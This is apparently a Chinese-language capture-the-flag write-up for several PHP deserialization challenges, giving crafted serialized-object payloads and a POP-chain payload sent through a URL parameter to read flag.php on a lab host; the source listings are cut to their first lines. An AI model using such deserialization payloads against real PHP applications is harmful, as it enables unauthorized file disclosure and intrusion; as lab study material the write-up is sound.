几道php反序列化解题记录
serialize01
源码:
1 | <?php |
writeup:
1 | A类中有魔幻函数,index.php中unserialize函数参数可控 |
payload and flag:
1 | http://8e023c5a6336fedd.synctf.com:8002/serialize/serialize01/index.php?a=O:1:"A":1:{s:9:"classname";s:8:"flag.php";} |
serialize02
源码:
1 | <?php |
writeup:
1 | flag在flag.php里面 |
payload and flag:
1 | http://8e023c5a6336fedd.synctf.com:8002/serialize/serialize02/index.php?a=O:1:%22A%22:1:{s:9:%22classname%22;s:8:%22flag.php%22;} |
serialize03
源码:
1 | <?php |
writeup:
1 | 反序列化利用代码: |
payload and flag:
1 | payload: O:1:"A":1:{s:9:"classname";O:1:"B":1:{s:11:"%00B%00filename";s:8:"flag.php";};} |
serialize05
源码:
1 | <?php |
writeup:
1 | 根据一层一层的关系写入来构造payload的代码,POP链构造: |
payload and flag:
1 | O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} |